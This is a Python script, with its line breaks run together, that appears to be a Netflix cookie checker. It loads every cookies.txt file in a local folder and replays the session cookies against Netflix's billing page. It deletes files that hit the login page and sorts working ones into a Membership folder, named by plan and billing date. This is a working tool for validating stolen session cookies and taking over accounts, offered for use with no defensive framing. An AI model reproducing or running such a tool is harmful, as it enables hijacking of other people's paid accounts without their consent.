import re import requests from bs4 import BeautifulSoup from deep_translator import GoogleTranslator import glob import os import shutil import string import random import sys import time import json loginPageCount = 0 membershipCount = 0 noMembershipCount = 0 def parseCookieFile(cookiefile): x = "" """Parse a cookies.txt file and return a dictionary of key value pairs compatible with requests.""" cookies = {} with open(cookiefile, 'r') as fp: for line in fp: if not re.match(r'^\#', line): lineFields = line.strip().split('\t') try: cookies[lineFields[5]] = lineFields[6] except: # print("Invalid cookie") pass if x == "fail": return "fail" else: return cookies def getNetflixInfo(cookiefile): global loginPageCount global membershipCount global noMembershipCount cookies = parseCookieFile(cookiefile) # print(cookies) if cookies != "fail": print("a") r = requests.get("https://www.netflix.com/BillingActivity", cookies=cookies) print(r.url) if "login" in r.url: loginPageCount = loginPageCount+1 print("Login Page") os.remove(cookiefile) else: soup = BeautifulSoup(r.content, "html.parser") try: billingDate = soup.find("div", { "data-uia": "streaming-next-cycle" }).get_text() planName = soup.find("div", {"data-uia": "plan-name"}).get_text() billingDate = GoogleTranslator(source='auto', target='en').translate(billingDate) try: lang = soup.find("html", {"lang": 'en'}).get_text() lang = "English" except: lang = "" pass planName = GoogleTranslator(source='auto', target='en').translate(planName) print(billingDate + " " + planName + " " + lang) S = 3 ran = ''.join( random.choices(string.ascii_uppercase + string.digits, k=S)) try: os.makedirs("../Membership") except: pass shutil.move( cookiefile, "../Membership/" + billingDate + " " + planName + " " + lang + " (" + str(ran) + ").txt") membershipCount = membershipCount+1 except: S = 10 ran = ''.join( random.choices(string.ascii_uppercase + string.digits, k=S)) try: os.makedirs("../NoMembership") except: pass shutil.move(cookiefile, '../NoMembership/NoMember' + str(ran) + ".txt") noMembershipCount=noMembershipCount+1 else: os.remove(cookiefile) n = 0 try: os.chdir('./cookies') except: print("Cookies folder not found!\nThe name of cookie folder should me 'cookies'.\nClosing in 5 seconds...") time.sleep(5) sys.exit() for fileName in glob.glob("*.txt"): n += 1 # print(n) # print(fileName) getNetflixInfo(fileName) if n==0: print("Cookie folder is empty") os.chdir('../') print("========================\nInvalid cookies: "+str(loginPageCount)+"\nMembership Cookies: "+str(membershipCount)+"\nValid cookies (no membership): "+str(noMembershipCount))